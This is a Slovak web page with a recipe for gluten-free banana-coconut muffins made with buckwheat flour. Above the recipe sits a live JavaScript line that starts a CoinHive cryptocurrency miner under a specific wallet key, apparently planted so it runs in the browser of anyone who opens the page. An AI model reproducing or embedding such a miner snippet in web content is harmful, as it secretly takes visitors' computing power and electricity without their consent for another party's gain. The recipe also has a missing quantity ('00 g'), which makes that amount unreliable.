

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



Na 12-16ks potrebujeme: 00 g Schär patiserie, 100 g pohánkovej múky (tmavá), 100 g kryštálového cukru, 1 lyžicu prášku do pečiva, 0,75 dcl mlieka, 0,75 dcl oleja, 1 banán, 100 g strúhaného kokosu (alebo posekaných orechov), 1 vajce, soľ

Postup: Banán pokrájame na kúsky, zmiešame s múkou, kokosom, cukrom, práškom do pečiva. Zvlášť zmiešame tekuté suroviny a pridáme do múkovej zmesi. Premiešame a dáme do košíčkov (keď je cesto v košíčkoch, môžeme do neho vopchať ovocie alebo čokoládu). Pečieme v teplovzdušnej rúre na 170°C cca 20 minút.